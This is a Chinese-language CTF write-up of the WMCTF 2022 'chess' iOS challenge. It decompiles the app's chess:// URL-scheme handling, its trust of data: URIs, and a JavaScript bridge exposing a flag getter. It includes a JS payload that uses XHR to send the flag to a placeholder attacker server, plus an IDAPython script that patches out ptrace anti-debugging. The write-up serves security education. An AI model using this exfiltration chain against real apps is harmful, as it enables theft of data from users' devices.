WMCTF 2022 挑战赛 chess writeup

解题过程

首先拿到 IPA 解压缩之后发现在 Bundle 中存在一个名为 flag 文件，文件内容为 {placeholder}。且根据赛题得知有一台真实 iPhone 在后端运行，则可知存在真正的 flag 的 App 正运行在该 iPhone 当中。

查看 Bundle 中的 Info.plist 文件可发现应用注册一个 URL Scheme，为 `chess://`：

URL types	Array	(1 item)
Item 0 (Editor)	Dictionary	(3 items)
Document Role	String	Editor
URL identifier	String	com.wmctf.chess
URL Schemes	Array	(1 item)
Item 0	String	chess

将二进制扔到 IDA 进行分析，查看应用 URL Scheme 的关键回调逻辑：

```
__int64 __fastcall _s5chess13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF(__int64 a1, __int64 a2)
{

  ...
  if ( !v124 )
    return _sSh8IteratorVySo16UIOpenURLContextC_GWOh(&v125);
  v50 = v51;
  v123 = v51;
  v38 = v51;
  v37 = _s5chess7WMUIURLCMa(0LL); // 初始化 WMUIURL 对象
  v36 = v29;
  objc_msgSend(v38, "URL");
  v35 = objc_retainAutoreleasedReturnValue();
  _s10Foundation3URLV36_unconditionallyBridgeFromObjectiveCyACSo5NSURLCSgFZ();
  v34 = (*(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64))(v116 + 16))(v110, v109, v114);
  _s10Foundation3URLV08absoluteB0ACvg();
  v33 = *(void (__fastcall **)(_QWORD *, __int64))(v116 + 8);
  v33(v110, v114);
  v33(v109, v114);
  v32 = _s5chess7WMUIURLC3urlAC10Foundation3URLV_tcfC(v111);
  objc_release(v35);
  v122 = v32;
  (*(void (__fastcall **)(__int64))((*v119 & swift_isaMask) + 0xA8LL))(v32); // 进入 _showExternalURL 函数
  swift_release(v32);
  objc_release(v38);
}
...
```

继续跟进 `_showExternalURL`：

```
__int64 __fastcall _s5chess13SceneDelegateC16_showExternalURL3urlyAA7WMUIURLC_tF(__int64 a1)
{
  __int64 v1; // x4
  int v2; // w0
  __int64 v3; // ST08_8
  __int64 v4; // x0
  _QWORD *v5; // ST00_8
  __int64 v6; // x1

  v1 = a1;
  v2 = mac_syscall(SYS_ptrace, 31, 0, 0LL, 0); // 一处内联汇编的反调试
  v3 = v1;
  v4 = _s5chess15WMUIApplicationCMa(0LL, 0LL, 0LL, 0LL);
  v5 = *(_QWORD **)_s5chess15WMUIApplicationC6sharedACvau(v4);
  objc_retain(v5, v6);
  (*(void (__fastcall **)(__int64))((*v5 & swift_isaMask) + 0x50LL))(v3); // 进入 showExternalURL 函数
  return objc_release(v5);
}
```

代码中存在两处内联汇编的反调试逻辑，选手可以通过静态匹配特征来 patch：

```
__text:000000010000DCF4                 MOV             X4, X0
__text:000000010000DCF8                 MOV             X0, #0x1F
__text:000000010000DCFC                 MOV             X1, #0
__text:000000010000DD00                 MOV             X2, #0
__text:000000010000DD04                 MOV             X3, #0
__text:000000010000DD08                 MOV             W16, #0x1A
__text:000000010000DD0C                 SVC             0x80
__text:000000010000DD10                 MOV             X0, X4
__text:000000010000DD14                 MOV             X8, #0
```

在 `showExternalURL` 函数中遇到第一个判断：

```
__int64 __fastcall _s5chess15WMUIApplicationC15showExternalURL3urlyAA7WMUIURLC_tF(__int64 a1)
{
  _QWORD *v1; // x20
  __int64 v2; // x4
  int v3; // w0
  __int64 result; // x0
  _QWORD *v5; // [xsp+10h] [xbp-30h]
  __int64 v6; // [xsp+18h] [xbp-28h]

  v2 = a1;
  v3 = mac_syscall(SYS_ptrace, 31, 0, 0LL, 0);
  v6 = v2;
  if ( (*(__int64 (**)(void))((*v1 & swift_isaMask) + 0x58LL))() & 1 )
    result = (*(__int64 (__fastcall **)(__int64))((*v5 & swift_isaMask) + 0x60LL))(v6);
  else
    result = (*(__int64 (__fastcall **)(__int64))((*v5 & swift_isaMask) + 0x68LL))(v6);
  return result;
}
```

通过动态调试跟进函数看下判断的逻辑：

```
__int64 __fastcall _s5chess15WMUIApplicationC40shouldUseLegacyURLHandlingForExternalURL3urlSbAA7WMUIURLC_tF(__int64 a1)
{
  __int64 v1; // x1
  __int64 v2; // ST40_8
  __int64 v3; // x1
  __int64 v4; // ST38_8
  char v5; // ST34_1
  __int64 v6; // ST28_8
  __int64 v7; // x1
  __int64 v8; // ST20_8
  char v9; // ST1C_1
  __int64 v10; // x0
  __int64 v11; // x1
  __int64 v12; // ST08_8
  char v13; // ST04_1
  char v15; // [xsp+30h] [xbp-60h]
  __int64 v16; // [xsp+48h] [xbp-48h]
  __int64 v17; // [xsp+50h] [xbp-40h]
  __int128 v18; // [xsp+60h] [xbp-30h]
  __int64 v19; // [xsp+70h] [xbp-20h]
  __int64 v20; // [xsp+78h] [xbp-18h]

  v19 = 0LL;
  *(_QWORD *)&v18 = 0LL;
  v20 = a1;
  v18 = (unsigned __int64)(*(__int64 (**)(void))(*(_QWORD *)a1 + 120LL))();
  *((_QWORD *)&v18 + 1) = v1;
  v17 = v18;
  v16 = v1;
  v2 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("search", 6LL, 1LL);
  v4 = v3;
  v5 = _sSS2eeoiySbSS_SStFZ(v17, v16, v2, v3);
  swift_bridgeObjectRelease(v4);
  if ( v5 & 1 )
  {
    swift_bridgeObjectRelease(v16);
    v15 = 1;
  }
  else
  {
    v6 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("web", 3LL, 1LL);
    v8 = v7;
    v9 = _sSS2eeoiySbSS_SStFZ(v17, v16, v6, v7);
    swift_bridgeObjectRelease(v8);
    if ( v9 & 1 )
    {
      swift_bridgeObjectRelease(v16);
      v15 = 1;
    }
    else
    {
      v10 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("exit", 4LL, 1LL);
      v12 = v11;
      v13 = _sSS2eeoiySbSS_SStFZ(v17, v16, v10, v11);
      swift_bridgeObjectRelease(v12);
      if ( v13 & 1 )
      {
        swift_bridgeObjectRelease(v16);
        v15 = 1;
      }
      else
      {
        swift_bridgeObjectRelease(v16);
        v15 = 0;
      }
    }
  }
  return v15 & 1;
}
```

该部分代码大意为：如果 URL 的参数中存在 urlType=exit 或者 search 或者 web 时则返回 true。

当判断返回 true 时则跳进第一个分支 `_legacyResolveExternalURL` 函数中：

```
__int64 __fastcall _s5chess15WMUIApplicationC25_legacyResolveExternalURL3urlyAA7WMUIURLC_tF(__int64 a1)
{
  __int64 v1; // ST08_8
  __int64 v2; // x0
  _QWORD *v3; // ST00_8
  __int64 v4; // x1

  v1 = a1;
  v2 = _s5chess15WMUIURLResolverCMa(0LL);
  v3 = *(_QWORD **)_s5chess15WMUIURLResolverC6sharedACvau(v2);
  objc_retain(v3, v4);
  (*(void (__fastcall **)(__int64))((*v3 & swift_isaMask) + 0x50LL))(v1); // 进入 resolveURL 函数
  return objc_release(v3);
}
```

继续跟进 `resolveURL` 函数中：

```
__int64 __fastcall _s5chess15WMUIURLResolverC10resolveURL3urlyAA7WMUIURLC_tF(__int64 a1)
{
  __int64 v1; // ST70_8
  __int64 v2; // x1
  __int64 v3; // ST68_8
  __int64 v4; // ST60_8
  __int64 v5; // x1
  __int64 v6; // ST58_8
  char v7; // ST54_1
  __int64 v8; // x0
  __int64 result; // x0
  __int64 v10; // ST48_8
  __int64 v11; // x1
  __int64 v12; // ST40_8
  __int64 v13; // ST38_8
  __int64 v14; // x1
  __int64 v15; // ST30_8
  char v16; // ST2C_1
  __int64 v17; // x0
  __int64 v18; // ST20_8
  __int64 v19; // x1
  __int64 v20; // ST18_8
  __int64 v21; // ST10_8
  __int64 v22; // x1
  __int64 v23; // ST08_8
  char v24; // ST04_1
  __int64 v25; // [xsp+80h] [xbp-30h]
  _QWORD *v26; // [xsp+88h] [xbp-28h]

  v25 = a1;
  v1 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 120LL))();
  v3 = v2;
  v4 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("exit", 4LL, 1LL);
  v6 = v5;
  v7 = _sSS2eeoiySbSS_SStFZ(v1, v3, v4, v5);
  swift_bridgeObjectRelease(v6);
  v8 = swift_bridgeObjectRelease(v3);
  if ( v7 & 1 ) // 当 urlType == exit 时
    return (*(__int64 (__fastcall **)(__int64))((*v26 & swift_isaMask) + 0x68LL))(v8);
  v10 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v25 + 120LL))(v8);
  v12 = v11;
  v13 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("web", 3LL, 1LL);
  v15 = v14;
  v16 = _sSS2eeoiySbSS_SStFZ(v10, v12, v13, v14);
  swift_bridgeObjectRelease(v15);
  v17 = swift_bridgeObjectRelease(v12);
  if ( v16 & 1 ) // 当 urlType == web 时
    return (*(__int64 (__fastcall **)(__int64))((*v26 & swift_isaMask) + 0x58LL))(v25); // 进入 _showAccountViewControllerWithURL 函数
  v18 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v25 + 120LL))(v17);
  v20 = v19;
  v21 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("search", 6LL, 1LL);
  v23 = v22;
  v24 = _sSS2eeoiySbSS_SStFZ(v18, v20, v21, v22);
  swift_bridgeObjectRelease(v23);
  result = swift_bridgeObjectRelease(v20);
  if ( v24 & 1 ) // 当 urlType == search 时
    result = (*(__int64 (__fastcall **)(__int64))((*v26 & swift_isaMask) + 0x60LL))(v25);
  return result;
}
```

在 `_showAccountViewControllerWithURL` 函数中会先取传入 URL 中的 url 参数字段，并弹出新的控制器进行加载：

```
__int64 __fastcall _s5chess15WMUIURLResolverC33_showAccountViewControllerWithURL3urlyAA7WMUIURLC_tF(__int64 a1)
{
  ...
  v28 = __swift_instantiateConcreteTypeFromMangledName(&_s7SwiftUI19UIHostingControllerCy5chess14ContentWebViewVGMD); // ContentWebView
  v41(v48, v42, v51);
  _s5chess14ContentWebViewV3urlAC10Foundation3URLV_tcfC(v48);
  v65 = _s7SwiftUI19UIHostingControllerC8rootViewACyxGx_tcfC(v55);
  v27 = v65;
  v14 = (void *)objc_opt_self(&OBJC_CLASS___UIApplication);
  v15 = objc_msgSend(v14, "sharedApplication");
  v16 = (void *)objc_retainAutoreleasedReturnValue(v15);
  v26 = v16;
  v17 = objc_msgSend(v16, "keyWindow");
  v25 = (void *)objc_retainAutoreleasedReturnValue(v17);
  objc_release(v26);
  if ( v25 )
  {
    v24 = v25;
    v23 = v25;
    v18 = objc_msgSend(v25, "rootViewController");
    v64 = (void *)objc_retainAutoreleasedReturnValue(v18);
    if ( v64 != 0LL )
    {
      v22 = (__int64 *)&v64;
      v21 = v64;
      objc_retain(v64, v19);
      _sSo16UIViewControllerCSgWOh(v22);
      objc_release(v23);
      objc_msgSend(v21, "presentViewController:animated:completion:", v27, 1LL, 0LL); // 弹出 ContentWebView 并加载传入的 URL
      objc_release(v21);
    }
    else
    {
      _sSo16UIViewControllerCSgWOh(&v64);
      objc_release(v23);
    }
  }
  objc_release(v27);
  return ((__int64 (__fastcall *)(void **, __int64))v39)(v42, v51);
}
```

我们可以看到新弹出的控制器是用`UIHostingController` 包装的 `ContentWebView`。

在 SwiftUI 中如何实现一个 WebView 参考链接：https://www.appcoda.com/swiftui-wkwebview/

寻找 `makeUIView` 函数来看下应用是如何处理构造 URLRequest 的，关键代码：

```
void *__fastcall _s5chess9WMWebViewV10makeUIView7contextSo05UIWebC0C7SwiftUI0E20RepresentableContextVyACG_tF(unsigned __int64 a1)
{
  ...
  _s5chess9WMWebViewV42_URLByRemovingBlacklistedParametersWithURL3url10Foundation0I0VAH_tF(v31); // URL 中特殊符号过滤，并在 URL 最后结尾添加了一个 ?
  v22 = *(void (__fastcall **)(_QWORD *, __int64))(v28 + 8);
  v22(v31, v29);
  v10 = _s5chess8WMURLBagCMa(0LL); // 进入 urlIsTrusted 判断逻辑
  v11 = *(__int64 (__fastcall **)(_QWORD *))(v10 + 80);
  v21 = v10;
  if ( v11(v24) & 1 )
  {
    _s5chess9WMWebViewV21injectScriptInterface03webC03urlSo05UIWebC0C_10Foundation3URLVtF(v23, v24);
    v12 = (*(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64))(v28 + 16))(v26, v24, v29);
    v20 = _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfcfA0_(v12);
    _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfcfA1_();
    _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfC(v26, v20);
    v13 = (*(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64))(v37 + 16))(v35, v33, v38);
    v14 = _s10Foundation10URLRequestV19_bridgeToObjectiveCSo12NSURLRequestCyF(v13);
    v15 = *(void (__fastcall **)(_QWORD *, __int64))(v37 + 8);
    v19 = v14;
    v18 = v15;
    v15(v35, v38);
    objc_msgSend(v23, "loadRequest:", v19);
    objc_release(v19);
    v18(v33, v38);
  }
  v22(v24, v29);
  return v23;
}
```

先调用了 `_URLByRemovingBlacklistedParametersWithURL` 函数，在该函数中进行了一些特殊符号的过滤，并且在 URL 的结尾添加了一个 `?` 符号。

接下来调用 `urlIsTrusted` 进行了一次判断：

```
__int64 __fastcall _s5chess8WMURLBagC12urlIsTrusted0C0Sb10Foundation3URLV_tFZ(unsigned __int64 a1)
{
  ...
  v109 = v86;
  v108 = v85;
  v3 = *(__int64 (__fastcall **)(_QWORD *, _QWORD, __int64))(v78 + 16);
  v77 = (__int64 *)((char *)v39 - v80);
  v76 = v3;
  v4 = v3((__int64 *)((char *)v39 - v80), v86, v79);
  v5 = _s10Foundation3URLV6schemeSSSgvg(v4);
  v6 = *(void (__fastcall **)(_QWORD *, __int64))(v78 + 8);
  v75 = v5;
  v74 = v7;
  v73 = v6;
  v6(v77, v79);
  v106 = v75;
  v107 = v74;
  v72 = &v106;
  v104 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("data", 4LL, 1LL);
  v105 = v8;
  v71 = &v104;
  v70 = _sSqsSQRzlE2eeoiySbxSg_ABtFZ(v72, &v104, v84, &_sSSSQsWP);
  _sSSSgWOh(v71);
  _sSSSgWOh(v72);
  if ( v70 & 1 )
  {
    v69 = 1;
  }
  ...
  return v69 & 1;
}
```

在该函数中存在一段逻辑，当传入的 URL 的 Scheme 为 data 时，则返回 true。也就是说当传入 URL 是个 Data URi 时则认为该 URL 是个可信的 URL。

当传入的 URL 是一个可信 URL 时，则调用 `injectScriptInterface` ，并且加载 URL：

```
void *__fastcall _s5chess9WMWebViewV10makeUIView7contextSo05UIWebC0C7SwiftUI0E20RepresentableContextVyACG_tF(unsigned __int64 a1)
{
  ...
  _s5chess9WMWebViewV42_URLByRemovingBlacklistedParametersWithURL3url10Foundation0I0VAH_tF(v31);
  v22 = *(void (__fastcall **)(_QWORD *, __int64))(v28 + 8);
  v22(v31, v29);
  v10 = _s5chess8WMURLBagCMa(0LL);
  v11 = *(__int64 (__fastcall **)(_QWORD *))(v10 + 80);
  v21 = v10;
  if ( v11(v24) & 1 )
  {
    _s5chess9WMWebViewV21injectScriptInterface03webC03urlySo05UIWebC0C_10Foundation3URLVtF(v23, v24); // 调用 injectScriptInterface 函数
    v12 = (*(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64))(v28 + 16))(v26, v24, v29);
    v20 = _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfcfA0_(v12);
    _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfcfA1_();
    _s10Foundation10URLRequestV3url11cachePolicy15timeoutIntervalAcA3URLV_So017NSURLRequestCacheE0VSdtcfC(v26, v20);
    v13 = (*(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64))(v37 + 16))(v35, v33, v38);
    v14 = _s10Foundation10URLRequestV19_bridgeToObjectiveCSo12NSURLRequestCyF(v13);
    v15 = *(void (__fastcall **)(_QWORD *, __int64))(v37 + 8);
    v19 = v14;
    v18 = v15;
    v15(v35, v38);
    objc_msgSend(v23, "loadRequest:", v19); // 然后加载 URL
    objc_release(v19);
    v18(v33, v38);
  }
  v22(v24, v29);
  return v23;
}
```

让我们跟进 `injectScriptInterface` 看下关键逻辑：

```
__int64 __fastcall _s5chess9WMWebViewV21injectScriptInterface03webC03urlySo05UIWebC0C_10Foundation3URLVtF(unsigned __int64 a1, __int64 a2)
{
  ...
    v16 = objc_msgSend(v40, "windowScriptObject"); // 取出 windowScriptObject
    v38 = (void *)objc_retainAutoreleasedReturnValue(v16);
    objc_release(v39);
    if ( v38 )
    {
      v37 = v38;
    }
    else
    {
      LOBYTE(v26) = 2;
      LODWORD(v27[0]) = 0;
      _ss17_assertionFailure__4file4line5flagss5NeverOs12StaticStringV_A2HSus6UInt32VtF(
        v72,
        11LL,
        2LL,
        v71,
        68LL,
        2LL,
        v70,
        21LL,
        v26,
        58LL,
        v27[0]);
    }
    *((_QWORD *)&v75 + 1) = v37;
    v36 = v37;
    v35 = 0LL;
    v17 = _s5chess17WMScriptInterfaceCMa(0LL);
    v34 = *(_QWORD **)_s5chess17WMScriptInterfaceC6sharedACvau(v17);
    objc_retain(v34, v18);
    v19 = _s10Foundation3URLVMa(v35);
    v20 = *(_QWORD *)(v19 - 8);
    v21 = *(void (__fastcall **)(_QWORD *, __int64, __int64))(v20 + 16);
    v33 = v19;
    v32 = v20;
    v21(v68, v74, v19);
    (*(void (__fastcall **)(_QWORD *, _QWORD, signed __int64, __int64))(v32 + 56))(v68, 0LL, 1LL, v33);
    (*(void (__fastcall **)(_QWORD *))((*v34 & swift_isaMask) + 0x60LL))(v68);
    v22 = objc_release(v34);
    v31 = *(_QWORD *)_s5chess17WMScriptInterfaceC6sharedACvau(v22);
    objc_retain(v31, v23);
    v24 = _sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC("wmctf", 5LL, 1LL);
    v30 = v25;
    v29 = _sSS10FoundationE19_bridgeToObjectiveCSo8NSStringCyF(v24);
    swift_bridgeObjectRelease(v30);
    objc_msgSend(v36, "setValue:forKey:", v31, v29); // 注入 wmctf 命名空间
    objc_release(v29);
    swift_unknownObjectRelease(v31);
    objc_release(v36);
    objc_release(v42);
  }
  objc_release(v47);
}
_ss16IndexingIteratorVySaySo6UIViewCGGWOh(&v80);
result = objc_release(v58);
return result;
}
```

可以看到将 `WMScriptInterface` 类的方法导出到 js 上下文中，这些 API 被放在全局作用域的 `wmctf` 命名空间里。

然后我们在 IDA 中搜索，惊喜的发现有个 `-[chess.WMScriptInterface _getFlag]` 的函数：

```
Function name
-[chess.WMScriptInterface init]
-[chess.WMScriptInterface copy]
-[chess.WMScriptInterface mutableCopy]
-[chess.WMScriptInterface _hello]
-[chess.WMScriptInterface _getFlag]
+[chess.WMScriptInterface isSelectorExcludedFromWebScript:]
+[chess.WMScriptInterface isKeyExcludedFromWebScript:]
+[chess.WMScriptInterface webScriptNameFor:]
-[chess.WMScriptInterface invokeUndefinedMethodFromWebScript:withArguments:]
-[chess.WMScriptInterface .cxx_destruct]
```

此时我们得知可以一个构造 payload 然后通过 URL Scheme 调起 chess 客户端，并执行 `wmctf.$_getFlag()` 来获取到 flag。

构造生成 Payload 的 js 代码：

```
String.prototype.toDataURI = function() {
  return 'data:text/html;,' +
encodeURIComponent(this).replace(/[!'()*]/g, escape);
}

function payload() {
  var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://XXX/test?
flag=' + wmctf.$_getFlag(), false); xhr.send();
}

const data = `<script type="application/javascript">(${payload})()
<\/script>`.toDataURI()
const url = new URL('chess://x?urlType=web');

url.searchParams.set('url', data);
url.toString()
```

只要将该 URL Scheme 提交（我写了个 webserver，用来接收 payload 并在设备执行），则会在设备执行，并且将 flag 发送到攻击者的服务器。

IDAPython Ptach `svc 0x80`：

```python
import idc
def text_seg_addr_start():
    for seg in Segments():
        if SegName(seg) == '__text':
            addr = hex(SegStart(seg))
            print("text segment address start: " + addr)
            return int(addr[0:-1], 16)
def text_seg_addr_end():
    for seg in Segments():
        if SegName(seg) == '__text':
            addr = hex(SegEnd(seg))
            print("text segment address end: " + addr)
            return int(addr[0:-1], 16)
start = text_seg_addr_start()
end = text_seg_addr_end()
while start < end:
    m = idc.print_insn_mnem(start)
    n = idc.print_operand(start, 0)
    if m == 'SVC' and n == '0x80':
        # print(idc.GetDisasm(start))
        if idc.print_operand(idc.prev_head(start), 1) == '#0x1A':
            idc.PatchDword(start, 0xD503201F)
            print("patch {} success!".format(hex(start)))
    start += 4
```

彩蛋：

当用 js 调用 wmctf 命名空间中一个不存在的方法时，则会返回一段 base64 编码的图片字符串！

参考资料

https://codecolor.ist/2021/08/04/mistuned-part-i/
https://developer.apple.com/documentation/objectivec/nsobject/webscripting?language=objc
https://developer.apple.com/documentation/objectivec/nsobject/1528539-webscriptname/

https://developer.apple.com/library/archive/documentation/AppleApplications/Conceptual/SafariJSProgTopics/ObjCFromJavaScript.html